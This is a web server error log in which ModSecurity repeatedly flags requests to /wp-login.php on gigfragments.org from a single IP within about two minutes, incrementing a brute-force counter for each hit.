[Sat Feb 28 14:17:39.268467 2026] [:error] [pid 52460:tid 52481] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIg7LWOogAgHGh62RlkwAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:42.488767 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIhrLWOogAgHGh62RlmgAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:43.976925 2026] [:error] [pid 52460:tid 52465] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIh7LWOogAgHGh62RloQAAAYI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:47.420257 2026] [:error] [pid 52460:tid 52487] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIi7LWOogAgHGh62RlpQAAAZg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:48.837560 2026] [:error] [pid 52460:tid 52473] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIjLLWOogAgHGh62RlqQAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:51.866941 2026] [:error] [pid 52460:tid 52466] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIj7LWOogAgHGh62RluwAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:53.685068 2026] [:error] [pid 52460:tid 52475] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIkbLWOogAgHGh62RlxwAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:56.614682 2026] [:error] [pid 52460:tid 52467] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIlLLWOogAgHGh62RlzgAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:57.947468 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIlbLWOogAgHGh62Rl0gAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:01.585671 2026] [:error] [pid 52460:tid 52466] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKImbLWOogAgHGh62Rl6gAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:02.929951 2026] [:error] [pid 52460:tid 52481] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKImrLWOogAgHGh62Rl7wAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:06.365663 2026] [:error] [pid 52460:tid 52470] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKInrLWOogAgHGh62Rl9wAAAYc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:07.895289 2026] [:error] [pid 52460:tid 52467] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIn7LWOogAgHGh62Rl-wAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:10.829681 2026] [:error] [pid 52460:tid 52487] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIorLWOogAgHGh62RmBAAAAZg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:12.631386 2026] [:error] [pid 52460:tid 52481] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIpLLWOogAgHGh62RmGQAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:16.481029 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIqLLWOogAgHGh62RmIgAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:17.785809 2026] [:error] [pid 52460:tid 52477] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIqbLWOogAgHGh62RmOAAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:20.534548 2026] [:error] [pid 52460:tid 52483] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIrLLWOogAgHGh62RmSwAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:22.113085 2026] [:error] [pid 52460:tid 52473] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIrrLWOogAgHGh62RmTAAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:24.985232 2026] [:error] [pid 52460:tid 52466] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIsLLWOogAgHGh62RmUAAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:26.488206 2026] [:error] [pid 52460:tid 52468] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIsrLWOogAgHGh62RmUQAAAYU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:29.606125 2026] [:error] [pid 52460:tid 52486] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKItbLWOogAgHGh62RmUwAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:31.038128 2026] [:error] [pid 52460:tid 52480] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIt7LWOogAgHGh62RmVAAAAZE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:33.852223 2026] [:error] [pid 52460:tid 52465] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIubLWOogAgHGh62RmVwAAAYI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:35.494028 2026] [:error] [pid 52460:tid 52483] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIu7LWOogAgHGh62RmXwAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:38.890684 2026] [:error] [pid 52460:tid 52479] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIvrLWOogAgHGh62RmdAAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:40.305160 2026] [:error] [pid 52460:tid 52470] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIwLLWOogAgHGh62RmggAAAYc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:43.161779 2026] [:error] [pid 52460:tid 52479] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIw7LWOogAgHGh62RmkQAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:44.711443 2026] [:error] [pid 52460:tid 52467] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIxLLWOogAgHGh62RmlgAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:47.914782 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIx7LWOogAgHGh62RmmAAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:49.326625 2026] [:error] [pid 52460:tid 52466] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIybLWOogAgHGh62RmmQAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:52.573746 2026] [:error] [pid 52460:tid 52470] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIzLLWOogAgHGh62RmpwAAAYc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:53.979227 2026] [:error] [pid 52460:tid 52472] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIzbLWOogAgHGh62RmqAAAAYk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:57.186265 2026] [:error] [pid 52460:tid 52477] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI0bLWOogAgHGh62RmqgAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:18:58.761357 2026] [:error] [pid 52460:tid 52475] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI0rLWOogAgHGh62RmqwAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:01.989388 2026] [:error] [pid 52460:tid 52486] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI1bLWOogAgHGh62RmsAAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:03.408077 2026] [:error] [pid 52460:tid 52481] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI17LWOogAgHGh62RmsQAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:06.532435 2026] [:error] [pid 52460:tid 52483] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI2rLWOogAgHGh62RmswAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:07.923781 2026] [:error] [pid 52460:tid 52487] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI27LWOogAgHGh62RmtAAAAZg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:11.343400 2026] [:error] [pid 52460:tid 52476] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI37LWOogAgHGh62RmtwAAAY0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:12.764612 2026] [:error] [pid 52460:tid 52472] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI4LLWOogAgHGh62RmvQAAAYk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:15.930065 2026] [:error] [pid 52460:tid 52476] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI47LWOogAgHGh62RmzAAAAY0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:17.252698 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI5bLWOogAgHGh62Rm0AAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:20.088693 2026] [:error] [pid 52460:tid 52480] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI6LLWOogAgHGh62Rm1wAAAZE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:21.387996 2026] [:error] [pid 52460:tid 52469] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI6bLWOogAgHGh62Rm2AAAAYY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:24.362898 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI7LLWOogAgHGh62Rm2gAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:25.830326 2026] [:error] [pid 52460:tid 52474] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI7bLWOogAgHGh62RnGwAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:29.021356 2026] [:error] [pid 52460:tid 52468] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI8bLWOogAgHGh62RnPwAAAYU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:30.676014 2026] [:error] [pid 52460:tid 52465] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI8rLWOogAgHGh62RnQQAAAYI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:34.028826 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI9rLWOogAgHGh62RnRgAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:35.561995 2026] [:error] [pid 52460:tid 52487] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI97LWOogAgHGh62RnRwAAAZg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:38.808461 2026] [:error] [pid 52460:tid 52478] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI-rLWOogAgHGh62RnSwAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:40.144505 2026] [:error] [pid 52460:tid 52473] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI_LLWOogAgHGh62RnTgAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
